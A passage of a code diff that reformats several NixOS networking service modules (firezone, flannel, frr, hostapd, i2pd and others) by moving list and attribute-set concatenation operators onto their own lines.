-        # https://github.com/mozilla-services/syncstorage-rs/issues/1313#issuecomment-1145293375
-        node_capacity_release_rate = 1;
-      };
+    tokenserver = {
+      node_type = "mysql";
+      database_url = dbURL;
+      fxa_email_domain = "api.accounts.firefox.com";
+      fxa_oauth_server_url = "https://oauth.accounts.firefox.com/v1";
+      run_migrations = true;
+      # if JWK caching is not enabled the token server must verify tokens
+      # using the fxa api, on a thread pool with a static size.
+      additional_blocking_threads_for_fxa_requests = 10;
+    }
+    // lib.optionalAttrs cfg.singleNode.enable {
+      # Single-node mode is likely to be used on small instances with little
+      # capacity. The default value (0.1) can only ever release capacity when
+      # accounts are removed if the total capacity is 10 or larger to begin
+      # with.
+      # https://github.com/mozilla-services/syncstorage-rs/issues/1313#issuecomment-1145293375
+      node_capacity_release_rate = 1;
+    };
   };
   configFile = format.generate "syncstorage.toml" (lib.recursiveUpdate settings cfg.settings);
   setupScript = pkgs.writeShellScript "firefox-syncserver-setup" ''
diff --git a/nixos/modules/services/networking/firewall.nix b/nixos/modules/services/networking/firewall.nix
index af41f49ac554..e733e9e6b87b 100644
--- a/nixos/modules/services/networking/firewall.nix
+++ b/nixos/modules/services/networking/firewall.nix
@@ -283,13 +283,15 @@ in
         visible = false;
         default = {
           default = lib.mapAttrs (name: value: cfg.${name}) commonOptions;
-        } // cfg.interfaces;
+        }
+        // cfg.interfaces;
         type = with lib.types; attrsOf (submodule [ { options = commonOptions; } ]);
         description = ''
           All open ports.
         '';
       };
-    } // commonOptions;
+    }
+    // commonOptions;
 
   };
 
@@ -312,7 +314,8 @@ in
     environment.systemPackages = [
       cfg.package
       pkgs.nixos-firewall-tool
-    ] ++ cfg.extraPackages;
+    ]
+    ++ cfg.extraPackages;
 
     boot.kernelModules =
       (lib.optional cfg.autoLoadConntrackHelpers "nf_conntrack")
diff --git a/nixos/modules/services/networking/firezone/server.nix b/nixos/modules/services/networking/firezone/server.nix
index 04ffa1b7d64c..995794c1c12c 100644
--- a/nixos/modules/services/networking/firezone/server.nix
+++ b/nixos/modules/services/networking/firezone/server.nix
@@ -885,30 +885,29 @@ in
 
   config = mkMerge [
     {
-      assertions =
-        [
-          {
-            assertion = cfg.provision.enable -> cfg.domain.enable;
-            message = "Provisioning must be done on a machine running the firezone domain server";
-          }
-        ]
-        ++ concatLists (
-          flip mapAttrsToList cfg.provision.accounts (
-            accountName: accountCfg:
-            [
-              {
-                assertion = (builtins.match "^[[:lower:]_-]+$" accountName) != null;
-                message = "An account name must contain only lowercase characters and underscores, as it will be used as the URL slug for this account.";
-              }
-            ]
-            ++ flip mapAttrsToList accountCfg.auth (
-              authName: _: {
-                assertion = (builtins.match "^[[:alnum:]_-]+$" authName) != null;
-                message = "The authentication provider attribute key must contain only letters, numbers, underscores or dashes.";
-              }
-            )
+      assertions = [
+        {
+          assertion = cfg.provision.enable -> cfg.domain.enable;
+          message = "Provisioning must be done on a machine running the firezone domain server";
+        }
+      ]
+      ++ concatLists (
+        flip mapAttrsToList cfg.provision.accounts (
+          accountName: accountCfg:
+          [
+            {
+              assertion = (builtins.match "^[[:lower:]_-]+$" accountName) != null;
+              message = "An account name must contain only lowercase characters and underscores, as it will be used as the URL slug for this account.";
+            }
+          ]
+          ++ flip mapAttrsToList accountCfg.auth (
+            authName: _: {
+              assertion = (builtins.match "^[[:alnum:]_-]+$" authName) != null;
+              message = "The authentication provider attribute key must contain only letters, numbers, underscores or dashes.";
+            }
           )
-        );
+        )
+      );
     }
     # Enable all components if the main server is enabled
     (mkIf cfg.enable {
@@ -1142,28 +1141,27 @@ in
         '';
 
         path = [ pkgs.curl ];
-        postStart =
-          ''
-            # Wait for the firezone server to come online
-            count=0
-            while [[ "$(curl -s "http://localhost:${toString cfg.domain.settings.HEALTHZ_PORT}" 2>/dev/null || echo)" != '{"status":"ok"}' ]]
-            do
-              sleep 1
-              if [[ "$count" -eq 30 ]]; then
-                echo "Tried for at least 30 seconds, giving up..."
-                exit 1
-              fi
-              count=$((count++))
-            done
-          ''
-          + optionalString cfg.provision.enable ''
-            # Wait for server to fully come up. Not ideal to use sleep, but at least it works.
+        postStart = ''
+          # Wait for the firezone server to come online
+          count=0
+          while [[ "$(curl -s "http://localhost:${toString cfg.domain.settings.HEALTHZ_PORT}" 2>/dev/null || echo)" != '{"status":"ok"}' ]]
+          do
             sleep 1
+            if [[ "$count" -eq 30 ]]; then
+              echo "Tried for at least 30 seconds, giving up..."
+              exit 1
+            fi
+            count=$((count++))
+          done
+        ''
+        + optionalString cfg.provision.enable ''
+          # Wait for server to fully come up. Not ideal to use sleep, but at least it works.
+          sleep 1
 
-            ${loadSecretEnvironment "domain"}
-            ln -sTf ${provisionStateJson} provision-state.json
-            ${getExe cfg.domain.package} rpc 'Code.eval_file("${./provision.exs}")'
-          '';
+          ${loadSecretEnvironment "domain"}
+          ln -sTf ${provisionStateJson} provision-state.json
+          ${getExe cfg.domain.package} rpc 'Code.eval_file("${./provision.exs}")'
+        '';
 
         environment = collectEnvironment "domain";
         serviceConfig = commonServiceConfig;
diff --git a/nixos/modules/services/networking/flannel.nix b/nixos/modules/services/networking/flannel.nix
index 08f07902f7af..e08255f60df6 100644
--- a/nixos/modules/services/networking/flannel.nix
+++ b/nixos/modules/services/networking/flannel.nix
@@ -157,27 +157,26 @@ in
       description = "Flannel Service";
       wantedBy = [ "multi-user.target" ];
       after = [ "network.target" ];
-      environment =
-        {
-          FLANNELD_PUBLIC_IP = cfg.publicIp;
-          FLANNELD_IFACE = cfg.iface;
-        }
-        // lib.optionalAttrs (cfg.storageBackend == "etcd") {
-          FLANNELD_ETCD_ENDPOINTS = lib.concatStringsSep "," cfg.etcd.endpoints;
-          FLANNELD_ETCD_KEYFILE = cfg.etcd.keyFile;
-          FLANNELD_ETCD_CERTFILE = cfg.etcd.certFile;
-          FLANNELD_ETCD_CAFILE = cfg.etcd.caFile;
-          ETCDCTL_CERT = cfg.etcd.certFile;
-          ETCDCTL_KEY = cfg.etcd.keyFile;
-          ETCDCTL_CACERT = cfg.etcd.caFile;
-          ETCDCTL_ENDPOINTS = lib.concatStringsSep "," cfg.etcd.endpoints;
-          ETCDCTL_API = "3";
-        }
-        // lib.optionalAttrs (cfg.storageBackend == "kubernetes") {
-          FLANNELD_KUBE_SUBNET_MGR = "true";
-          FLANNELD_KUBECONFIG_FILE = cfg.kubeconfig;
-          NODE_NAME = cfg.nodeName;
-        };
+      environment = {
+        FLANNELD_PUBLIC_IP = cfg.publicIp;
+        FLANNELD_IFACE = cfg.iface;
+      }
+      // lib.optionalAttrs (cfg.storageBackend == "etcd") {
+        FLANNELD_ETCD_ENDPOINTS = lib.concatStringsSep "," cfg.etcd.endpoints;
+        FLANNELD_ETCD_KEYFILE = cfg.etcd.keyFile;
+        FLANNELD_ETCD_CERTFILE = cfg.etcd.certFile;
+        FLANNELD_ETCD_CAFILE = cfg.etcd.caFile;
+        ETCDCTL_CERT = cfg.etcd.certFile;
+        ETCDCTL_KEY = cfg.etcd.keyFile;
+        ETCDCTL_CACERT = cfg.etcd.caFile;
+        ETCDCTL_ENDPOINTS = lib.concatStringsSep "," cfg.etcd.endpoints;
+        ETCDCTL_API = "3";
+      }
+      // lib.optionalAttrs (cfg.storageBackend == "kubernetes") {
+        FLANNELD_KUBE_SUBNET_MGR = "true";
+        FLANNELD_KUBECONFIG_FILE = cfg.kubeconfig;
+        NODE_NAME = cfg.nodeName;
+      };
       path = [ pkgs.iptables ];
       preStart = lib.optionalString (cfg.storageBackend == "etcd") ''
         echo "setting network configuration"
diff --git a/nixos/modules/services/networking/frp.nix b/nixos/modules/services/networking/frp.nix
index b09d54f47827..da731dabf082 100644
--- a/nixos/modules/services/networking/frp.nix
+++ b/nixos/modules/services/networking/frp.nix
@@ -80,7 +80,8 @@ in
             RestrictAddressFamilies = [
               "AF_INET"
               "AF_INET6"
-            ] ++ lib.optionals isClient [ "AF_UNIX" ];
+            ]
+            ++ lib.optionals isClient [ "AF_UNIX" ];
             LockPersonality = true;
             MemoryDenyWriteExecute = true;
             RestrictRealtime = true;
diff --git a/nixos/modules/services/networking/frr.nix b/nixos/modules/services/networking/frr.nix
index e26385802af1..dba2ddb67298 100644
--- a/nixos/modules/services/networking/frr.nix
+++ b/nixos/modules/services/networking/frr.nix
@@ -128,100 +128,99 @@ in
 {
 
   ###### interface
-  imports =
-    [
-      {
-        options.services.frr = {
-          configFile = lib.mkOption {
-            type = lib.types.nullOr lib.types.path;
-            default = null;
-            example = "/etc/frr/frr.conf";
-            description = ''
-              Configuration file to use for FRR.
-              By default the NixOS generated files are used.
-            '';
-          };
-          config = lib.mkOption {
-            type = lib.types.lines;
-            default = "";
-            example = ''
-              router rip
-                network 10.0.0.0/8
-              router ospf
-                network 10.0.0.0/8 area 0
-              router bgp 65001
-                neighbor 10.0.0.1 remote-as 65001
-            '';
-            description = ''
-              FRR configuration statements.
-            '';
-          };
-          openFilesLimit = lib.mkOption {
-            type = lib.types.ints.unsigned;
-            default = 1024;
-            description = ''
-              This is the maximum number of FD's that will be available.  Use a
-              reasonable value for your setup if you are expecting a large number
-              of peers in say BGP.
-            '';
-          };
+  imports = [
+    {
+      options.services.frr = {
+        configFile = lib.mkOption {
+          type = lib.types.nullOr lib.types.path;
+          default = null;
+          example = "/etc/frr/frr.conf";
+          description = ''
+            Configuration file to use for FRR.
+            By default the NixOS generated files are used.
+          '';
         };
-      }
-      { options.services.frr = (lib.genAttrs allDaemons serviceOptions); }
-      (lib.mkRemovedOptionModule [ "services" "frr" "zebra" "enable" ] "FRR zebra is always enabled")
-    ]
-    ++ (map (
-      d: lib.mkRenamedOptionModule [ "services" "frr" d "enable" ] [ "services" "frr" "${d}d" "enable" ]
-    ) renamedServices)
-    ++ (map
-      (
-        d:
-        lib.mkRenamedOptionModule
-          [ "services" "frr" d "extraOptions" ]
-          [ "services" "frr" "${d}d" "extraOptions" ]
-      )
-      (
-        renamedServices
-        ++ [
-          "static"
-          "mgmt"
-        ]
-      )
+        config = lib.mkOption {
+          type = lib.types.lines;
+          default = "";
+          example = ''
+            router rip
+              network 10.0.0.0/8
+            router ospf
+              network 10.0.0.0/8 area 0
+            router bgp 65001
+              neighbor 10.0.0.1 remote-as 65001
+          '';
+          description = ''
+            FRR configuration statements.
+          '';
+        };
+        openFilesLimit = lib.mkOption {
+          type = lib.types.ints.unsigned;
+          default = 1024;
+          description = ''
+            This is the maximum number of FD's that will be available.  Use a
+            reasonable value for your setup if you are expecting a large number
+            of peers in say BGP.
+          '';
+        };
+      };
+    }
+    { options.services.frr = (lib.genAttrs allDaemons serviceOptions); }
+    (lib.mkRemovedOptionModule [ "services" "frr" "zebra" "enable" ] "FRR zebra is always enabled")
+  ]
+  ++ (map (
+    d: lib.mkRenamedOptionModule [ "services" "frr" d "enable" ] [ "services" "frr" "${d}d" "enable" ]
+  ) renamedServices)
+  ++ (map
+    (
+      d:
+      lib.mkRenamedOptionModule
+        [ "services" "frr" d "extraOptions" ]
+        [ "services" "frr" "${d}d" "extraOptions" ]
     )
-    ++ (map (d: lib.mkRemovedOptionModule [ "services" "frr" d "enable" ] "FRR ${d}d is always enabled")
-      [
+    (
+      renamedServices
+      ++ [
         "static"
         "mgmt"
       ]
     )
-    ++ (map (
-      d:
-      lib.mkRemovedOptionModule [
-        "services"
-        "frr"
-        d
-        "config"
-      ] "FRR switched to integrated-vtysh-config, please use services.frr.config"
-    ) obsoleteServices)
-    ++ (map (
-      d:
-      lib.mkRemovedOptionModule [ "services" "frr" d "configFile" ]
-        "FRR switched to integrated-vtysh-config, please use services.frr.config or services.frr.configFile"
-    ) obsoleteServices)
-    ++ (map (
-      d:
-      lib.mkRemovedOptionModule [
-        "services"
-        "frr"
-        d
-        "vtyListenAddress"
-      ] "Please change -A option in services.frr.${d}.options instead"
-    ) obsoleteServices)
-    ++ (map (
-      d:
-      lib.mkRemovedOptionModule [ "services" "frr" d "vtyListenPort" ]
-        "Please use `-P «vtyListenPort»` option with services.frr.${d}.extraOptions instead, or change services.frr.${d}.options accordingly"
-    ) obsoleteServices);
+  )
+  ++ (map (d: lib.mkRemovedOptionModule [ "services" "frr" d "enable" ] "FRR ${d}d is always enabled")
+    [
+      "static"
+      "mgmt"
+    ]
+  )
+  ++ (map (
+    d:
+    lib.mkRemovedOptionModule [
+      "services"
+      "frr"
+      d
+      "config"
+    ] "FRR switched to integrated-vtysh-config, please use services.frr.config"
+  ) obsoleteServices)
+  ++ (map (
+    d:
+    lib.mkRemovedOptionModule [ "services" "frr" d "configFile" ]
+      "FRR switched to integrated-vtysh-config, please use services.frr.config or services.frr.configFile"
+  ) obsoleteServices)
+  ++ (map (
+    d:
+    lib.mkRemovedOptionModule [
+      "services"
+      "frr"
+      d
+      "vtyListenAddress"
+    ] "Please change -A option in services.frr.${d}.options instead"
+  ) obsoleteServices)
+  ++ (map (
+    d:
+    lib.mkRemovedOptionModule [ "services" "frr" d "vtyListenPort" ]
+      "Please use `-P «vtyListenPort»` option with services.frr.${d}.extraOptions instead, or change services.frr.${d}.options accordingly"
+  ) obsoleteServices);
 
   ###### implementation
 
diff --git a/nixos/modules/services/networking/gns3-server.nix b/nixos/modules/services/networking/gns3-server.nix
index 769cde21bc20..21679a3d8364 100644
--- a/nixos/modules/services/networking/gns3-server.nix
+++ b/nixos/modules/services/networking/gns3-server.nix
@@ -259,15 +259,14 @@ in
             PrivateUsers = false;
 
             # Hardening
-            DeviceAllow =
-              [
-                # ubridge needs access to tun/tap devices
-                "/dev/net/tap rw"
-                "/dev/net/tun rw"
-              ]
-              ++ lib.optionals flags.enableLibvirtd [
-                "/dev/kvm"
-              ];
+            DeviceAllow = [
+              # ubridge needs access to tun/tap devices
+              "/dev/net/tap rw"
+              "/dev/net/tun rw"
+            ]
+            ++ lib.optionals flags.enableLibvirtd [
+              "/dev/kvm"
+            ];
             DevicePolicy = "closed";
             LockPersonality = true;
             MemoryDenyWriteExecute = true;
diff --git a/nixos/modules/services/networking/hostapd.nix b/nixos/modules/services/networking/hostapd.nix
index 9bf9f1a4c3a0..c7c9c60b68f9 100644
--- a/nixos/modules/services/networking/hostapd.nix
+++ b/nixos/modules/services/networking/hostapd.nix
@@ -1030,79 +1030,78 @@ in
                         );
                       in
                       {
-                        settings =
-                          {
-                            ssid = bssCfg.ssid;
-                            utf8_ssid = bssCfg.utf8Ssid;
+                        settings = {
+                          ssid = bssCfg.ssid;
+                          utf8_ssid = bssCfg.utf8Ssid;
 
-                            logger_syslog = mkDefault (-1);
-                            logger_syslog_level = bssCfg.logLevel;
-                            logger_stdout = mkDefault (-1);
-                            logger_stdout_level = bssCfg.logLevel;
-                            ctrl_interface = mkDefault "/run/hostapd";
-                            ctrl_interface_group = bssCfg.group;
+                          logger_syslog = mkDefault (-1);
+                          logger_syslog_level = bssCfg.logLevel;
+                          logger_stdout = mkDefault (-1);
+                          logger_stdout_level = bssCfg.logLevel;
+                          ctrl_interface = mkDefault "/run/hostapd";
+                          ctrl_interface_group = bssCfg.group;
 
-                            macaddr_acl = bssCfg.macAcl;
+                          macaddr_acl = bssCfg.macAcl;
 
-                            ignore_broadcast_ssid = bssCfg.ignoreBroadcastSsid;
+                          ignore_broadcast_ssid = bssCfg.ignoreBroadcastSsid;
 
-                            # IEEE 802.11i (authentication) related configuration
-                            # Encrypt management frames to protect against deauthentication and similar attacks
-                            ieee80211w = mkDefault 1;
-                            sae_require_mfp = mkDefault 1;
+                          # IEEE 802.11i (authentication) related configuration
+                          # Encrypt management frames to protect against deauthentication and similar attacks
+                          ieee80211w = mkDefault 1;
+                          sae_require_mfp = mkDefault 1;
 
-                            # Only allow WPA by default and disable insecure WEP
-                            auth_algs = mkDefault 1;
-                            # Always enable QoS, which is required for 802.11n and above
-                            wmm_enabled = mkDefault true;
-                            ap_isolate = bssCfg.apIsolate;
-                          }
-                          // optionalAttrs (bssCfg.bssid != null) {
-                            bssid = bssCfg.bssid;
-                          }
-                          //
-                            optionalAttrs
-                              (bssCfg.macAllow != [ ] || bssCfg.macAllowFile != null || bssCfg.authentication.saeAddToMacAllow)
-                              {
-                                accept_mac_file = "/run/hostapd/${bssCfg._module.args.name}.mac.allow";
-                              }
-                          // optionalAttrs (bssCfg.macDeny != [ ] || bssCfg.macDenyFile != null) {
-                            deny_mac_file = "/run/hostapd/${bssCfg._module.args.name}.mac.deny";
-                          }
-                          // optionalAttrs (bssCfg.authentication.mode == "none") {
-                            wpa = mkDefault 0;
-                          }
-                          // optionalAttrs (bssCfg.authentication.mode == "wpa3-sae") {
-                            wpa = 2;
-                            wpa_key_mgmt = "SAE";
-                            # Derive PWE using both hunting-and-pecking loop and hash-to-element
-                            sae_pwe = 2;
-                            # Prevent downgrade attacks by indicating to clients that they should
-                            # disable any transition modes from now on.
-                            transition_disable = "0x01";
-                          }
-                          // optionalAttrs (bssCfg.authentication.mode == "wpa3-sae-transition") {
-                            wpa = 2;
-                            wpa_key_mgmt = "WPA-PSK-SHA256 SAE";
-                          }
-                          // optionalAttrs (bssCfg.authentication.mode == "wpa2-sha1") {
-                            wpa = 2;
-                            wpa_key_mgmt = "WPA-PSK";
-                          }
-                          // optionalAttrs (bssCfg.authentication.mode == "wpa2-sha256") {
-                            wpa = 2;
-                            wpa_key_mgmt = "WPA-PSK-SHA256";
-                          }
-                          // optionalAttrs (bssCfg.authentication.mode != "none") {
-                            wpa_pairwise = pairwiseCiphers;
-                            rsn_pairwise = pairwiseCiphers;
-                          }
-                          // optionalAttrs (bssCfg.authentication.wpaPassword != null) {
-                            wpa_passphrase = bssCfg.authentication.wpaPassword;
-                          }
-                          // optionalAttrs (bssCfg.authentication.wpaPskFile != null) {
-                            wpa_psk_file = toString bssCfg.authentication.wpaPskFile;
-                          };
+                          # Only allow WPA by default and disable insecure WEP
+                          auth_algs = mkDefault 1;
+                          # Always enable QoS, which is required for 802.11n and above
+                          wmm_enabled = mkDefault true;
+                          ap_isolate = bssCfg.apIsolate;
+                        }
+                        // optionalAttrs (bssCfg.bssid != null) {
+                          bssid = bssCfg.bssid;
+                        }
+                        //
+                          optionalAttrs
+                            (bssCfg.macAllow != [ ] || bssCfg.macAllowFile != null || bssCfg.authentication.saeAddToMacAllow)
+                            {
+                              accept_mac_file = "/run/hostapd/${bssCfg._module.args.name}.mac.allow";
+                            }
+                        // optionalAttrs (bssCfg.macDeny != [ ] || bssCfg.macDenyFile != null) {
+                          deny_mac_file = "/run/hostapd/${bssCfg._module.args.name}.mac.deny";
+                        }
+                        // optionalAttrs (bssCfg.authentication.mode == "none") {
+                          wpa = mkDefault 0;
+                        }
+                        // optionalAttrs (bssCfg.authentication.mode == "wpa3-sae") {
+                          wpa = 2;
+                          wpa_key_mgmt = "SAE";
+                          # Derive PWE using both hunting-and-pecking loop and hash-to-element
+                          sae_pwe = 2;
+                          # Prevent downgrade attacks by indicating to clients that they should
+                          # disable any transition modes from now on.
+                          transition_disable = "0x01";
+                        }
+                        // optionalAttrs (bssCfg.authentication.mode == "wpa3-sae-transition") {
+                          wpa = 2;
+                          wpa_key_mgmt = "WPA-PSK-SHA256 SAE";
+                        }
+                        // optionalAttrs (bssCfg.authentication.mode == "wpa2-sha1") {
+                          wpa = 2;
+                          wpa_key_mgmt = "WPA-PSK";
+                        }
+                        // optionalAttrs (bssCfg.authentication.mode == "wpa2-sha256") {
+                          wpa = 2;
+                          wpa_key_mgmt = "WPA-PSK-SHA256";
+                        }
+                        // optionalAttrs (bssCfg.authentication.mode != "none") {
+                          wpa_pairwise = pairwiseCiphers;
+                          rsn_pairwise = pairwiseCiphers;
+                        }
+                        // optionalAttrs (bssCfg.authentication.wpaPassword != null) {
+                          wpa_passphrase = bssCfg.authentication.wpaPassword;
+                        }
+                        // optionalAttrs (bssCfg.authentication.wpaPskFile != null) {
+                          wpa_psk_file = toString bssCfg.authentication.wpaPskFile;
+                        };
 
                         dynamicConfigScripts =
                           let
@@ -1326,96 +1325,95 @@ in
     ];
 
   config = mkIf cfg.enable {
-    assertions =
-      [
-        {
-          assertion = cfg.radios != { };
-          message = "At least one radio must be configured with hostapd!";
-        }
-      ]
-      # Radio warnings
-      ++ (concatLists (
-        mapAttrsToList (
-          radio: radioCfg:
-          [
-            {
-              assertion = radioCfg.networks != { };
-              message = "hostapd radio ${radio}: At least one network must be configured!";
-            }
-            # XXX: There could be many more useful assertions about (band == xy) -> ensure other required settings.
-            # see https://github.com/openwrt/openwrt/blob/539cb5389d9514c99ec1f87bd4465f77c7ed9b93/package/kernel/mac80211/files/lib/netifd/wireless/mac80211.sh#L158
-            {
-              assertion = length (filter (bss: bss == radio) (attrNames radioCfg.networks)) == 1;
-              message = ''hostapd radio ${radio}: Exactly one network must be named like the radio, for reasons internal to hostapd.'';
-            }
-            {
-              assertion =
-                (radioCfg.wifi4.enable && builtins.elem "HT40-" radioCfg.wifi4.capabilities)
-                -> radioCfg.channel != 0;
-              message = ''hostapd radio ${radio}: using ACS (channel = 0) together with HT40- (wifi4.capabilities) is unsupported by hostapd'';
-            }
-          ]
-          # BSS warnings
-          ++ (concatLists (
-            mapAttrsToList (
-              bss: bssCfg:
-              let
-                auth = bssCfg.authentication;
-                countWpaPasswordDefinitions = count (x: x != null) [
-                  auth.wpaPassword
-                  auth.wpaPasswordFile
-                  auth.wpaPskFile
-                ];
-              in
-              [
-                {
-                  assertion = hasPrefix radio bss;
-                  message = "hostapd radio ${radio} bss ${bss}: The bss (network) name ${bss} is invalid. It must be prefixed by the radio name for reasons internal to hostapd. A valid name would be e.g. ${radio}, ${radio}-1, ...";
-                }
-                {
-                  assertion = (length (attrNames radioCfg.networks) > 1) -> (bssCfg.bssid != null);
-                  message = ''hostapd radio ${radio} bss ${bss}: bssid must be specified manually (for now) since this radio uses multiple BSS.'';
-                }
-                {
-                  assertion = countWpaPasswordDefinitions <= 1;
-                  message = ''hostapd radio ${radio} bss ${bss}: must use at most one WPA password option (wpaPassword, wpaPasswordFile, wpaPskFile)'';
-                }
-                {
-                  assertion =
-                    auth.wpaPassword != null
-                    -> (stringLength auth.wpaPassword >= 8 && stringLength auth.wpaPassword <= 63);
-                  message = ''hostapd radio ${radio} bss ${bss}: uses a wpaPassword of invalid length (must be in [8,63]).'';
-                }
-                {
-                  assertion = auth.saePasswords == [ ] || auth.saePasswordsFile == null;
-                  message = ''hostapd radio ${radio} bss ${bss}: must use only one SAE password option (saePasswords or saePasswordsFile)'';
-                }
-                {
-                  assertion = auth.mode == "wpa3-sae" -> (auth.saePasswords != [ ] || auth.saePasswordsFile != null);
-                  message = ''hostapd radio ${radio} bss ${bss}: uses WPA3-SAE which requires defining a sae password option'';
-                }
-                {
-                  assertion =
-                    auth.mode == "wpa3-sae-transition"
-                    -> (auth.saePasswords != [ ] || auth.saePasswordsFile != null) && countWpaPasswordDefinitions == 1;
-                  message = ''hostapd radio ${radio} bss ${bss}: uses WPA3-SAE in transition mode requires defining both a wpa password option and a sae password option'';
-                }
-                {
-                  assertion =
-                    (auth.mode == "wpa2-sha1" || auth.mode == "wpa2-sha256") -> countWpaPasswordDefinitions == 1;
-                  message = ''hostapd radio ${radio} bss ${bss}: uses WPA2-PSK which requires defining a wpa password option'';
-                }
-              ]
-              ++ optionals (auth.saePasswords != [ ]) (
-                imap1 (i: entry: {
-                  assertion = (entry.password == null) != (entry.passwordFile == null);
-                  message = ''hostapd radio ${radio} bss ${bss} saePassword entry ${i}: must set exactly one of `password` or `passwordFile`'';
-                }) auth.saePasswords
-              )
-            ) radioCfg.networks
-          ))
-        ) cfg.radios
-      ));
+    assertions = [
+      {
+        assertion = cfg.radios != { };
+        message = "At least one radio must be configured with hostapd!";
+      }
+    ]
+    # Radio warnings
+    ++ (concatLists (
+      mapAttrsToList (
+        radio: radioCfg:
+        [
+          {
+            assertion = radioCfg.networks != { };
+            message = "hostapd radio ${radio}: At least one network must be configured!";
+          }
+          # XXX: There could be many more useful assertions about (band == xy) -> ensure other required settings.
+          # see https://github.com/openwrt/openwrt/blob/539cb5389d9514c99ec1f87bd4465f77c7ed9b93/package/kernel/mac80211/files/lib/netifd/wireless/mac80211.sh#L158
+          {
+            assertion = length (filter (bss: bss == radio) (attrNames radioCfg.networks)) == 1;
+            message = ''hostapd radio ${radio}: Exactly one network must be named like the radio, for reasons internal to hostapd.'';
+          }
+          {
+            assertion =
+              (radioCfg.wifi4.enable && builtins.elem "HT40-" radioCfg.wifi4.capabilities)
+              -> radioCfg.channel != 0;
+            message = ''hostapd radio ${radio}: using ACS (channel = 0) together with HT40- (wifi4.capabilities) is unsupported by hostapd'';
+          }
+        ]
+        # BSS warnings
+        ++ (concatLists (
+          mapAttrsToList (
+            bss: bssCfg:
+            let
+              auth = bssCfg.authentication;
+              countWpaPasswordDefinitions = count (x: x != null) [
+                auth.wpaPassword
+                auth.wpaPasswordFile
+                auth.wpaPskFile
+              ];
+            in
+            [
+              {
+                assertion = hasPrefix radio bss;
+                message = "hostapd radio ${radio} bss ${bss}: The bss (network) name ${bss} is invalid. It must be prefixed by the radio name for reasons internal to hostapd. A valid name would be e.g. ${radio}, ${radio}-1, ...";
+              }
+              {
+                assertion = (length (attrNames radioCfg.networks) > 1) -> (bssCfg.bssid != null);
+                message = ''hostapd radio ${radio} bss ${bss}: bssid must be specified manually (for now) since this radio uses multiple BSS.'';
+              }
+              {
+                assertion = countWpaPasswordDefinitions <= 1;
+                message = ''hostapd radio ${radio} bss ${bss}: must use at most one WPA password option (wpaPassword, wpaPasswordFile, wpaPskFile)'';
+              }
+              {
+                assertion =
+                  auth.wpaPassword != null
+                  -> (stringLength auth.wpaPassword >= 8 && stringLength auth.wpaPassword <= 63);
+                message = ''hostapd radio ${radio} bss ${bss}: uses a wpaPassword of invalid length (must be in [8,63]).'';
+              }
+              {
+                assertion = auth.saePasswords == [ ] || auth.saePasswordsFile == null;
+                message = ''hostapd radio ${radio} bss ${bss}: must use only one SAE password option (saePasswords or saePasswordsFile)'';
+              }
+              {
+                assertion = auth.mode == "wpa3-sae" -> (auth.saePasswords != [ ] || auth.saePasswordsFile != null);
+                message = ''hostapd radio ${radio} bss ${bss}: uses WPA3-SAE which requires defining a sae password option'';
+              }
+              {
+                assertion =
+                  auth.mode == "wpa3-sae-transition"
+                  -> (auth.saePasswords != [ ] || auth.saePasswordsFile != null) && countWpaPasswordDefinitions == 1;
+                message = ''hostapd radio ${radio} bss ${bss}: uses WPA3-SAE in transition mode requires defining both a wpa password option and a sae password option'';
+              }
+              {
+                assertion =
+                  (auth.mode == "wpa2-sha1" || auth.mode == "wpa2-sha256") -> countWpaPasswordDefinitions == 1;
+                message = ''hostapd radio ${radio} bss ${bss}: uses WPA2-PSK which requires defining a wpa password option'';
+              }
+            ]
+            ++ optionals (auth.saePasswords != [ ]) (
+              imap1 (i: entry: {
+                assertion = (entry.password == null) != (entry.passwordFile == null);
+                message = ''hostapd radio ${radio} bss ${bss} saePassword entry ${i}: must set exactly one of `password` or `passwordFile`'';
+              }) auth.saePasswords
+            )
+          ) radioCfg.networks
+        ))
+      ) cfg.radios
+    ));
 
     environment.systemPackages = [ cfg.package ];
 
diff --git a/nixos/modules/services/networking/i2pd.nix b/nixos/modules/services/networking/i2pd.nix
index d7784b0a1c88..054970d59e53 100644
--- a/nixos/modules/services/networking/i2pd.nix
+++ b/nixos/modules/services/networking/i2pd.nix
@@ -122,100 +122,98 @@ let
   notice = "# DO NOT EDIT -- this file has been generated automatically.";
   i2pdConf =
     let
-      opts =
-        [
-          notice
-          (strOpt "loglevel" cfg.logLevel)
-          (boolOpt "logclftime" cfg.logCLFTime)
-          (boolOpt "ipv4" cfg.enableIPv4)
-          (boolOpt "ipv6" cfg.enableIPv6)
-          (boolOpt "notransit" cfg.notransit)
-          (boolOpt "floodfill" cfg.floodfill)
-          (intOpt "netid" cfg.netid)
-        ]
-        ++ (optionalNullInt "bandwidth" cfg.bandwidth)
-        ++ (optionalNullInt "port" cfg.port)
-        ++ (optionalNullString "family" cfg.family)
-        ++ (optionalNullString "datadir" cfg.dataDir)
-        ++ (optionalNullInt "share" cfg.share)
-        ++ (optionalNullBool "ssu" cfg.ssu)
-        ++ (optionalNullBool "ntcp" cfg.ntcp)
-        ++ (optionalNullString "ntcpproxy" cfg.ntcpProxy)
-        ++ (optionalNullString "ifname" cfg.ifname)
-        ++ (optionalNullString "ifname4" cfg.ifname4)
-        ++ (optionalNullString "ifname6" cfg.ifname6)
-        ++ [
-          (sec "limits")
-          (intOpt "transittunnels" cfg.limits.transittunnels)
-          (intOpt "coresize" cfg.limits.coreSize)
-          (intOpt "openfiles" cfg.limits.openFiles)
-          (intOpt "ntcphard" cfg.limits.ntcpHard)
-          (intOpt "ntcpsoft" cfg.limits.ntcpSoft)
-          (intOpt "ntcpthreads" cfg.limits.ntcpThreads)
-          (sec "upnp")
-          (boolOpt "enabled" cfg.upnp.enable)
-          (sec "precomputation")
-          (boolOpt "elgamal" cfg.precomputation.elgamal)
-          (sec "reseed")
-          (boolOpt "verify" cfg.reseed.verify)
-        ]
-        ++ (optionalNullString "file" cfg.reseed.file)
-        ++ (optionalEmptyList "urls" cfg.reseed.urls)
-        ++ (optionalNullString "floodfill" cfg.reseed.floodfill)
-        ++ (optionalNullString "zipfile" cfg.reseed.zipfile)
-        ++ (optionalNullString "proxy" cfg.reseed.proxy)
-        ++ [
-          (sec "trust")
-          (boolOpt "enabled" cfg.trust.enable)
-          (boolOpt "hidden" cfg.trust.hidden)
-        ]
-        ++ (optionalEmptyList "routers" cfg.trust.routers)
-        ++ (optionalNullString "family" cfg.trust.family)
-        ++ [
-          (sec "websockets")
-          (boolOpt "enabled" cfg.websocket.enable)
-          (strOpt "address" cfg.websocket.address)
-          (intOpt "port" cfg.websocket.port)
-          (sec "exploratory")
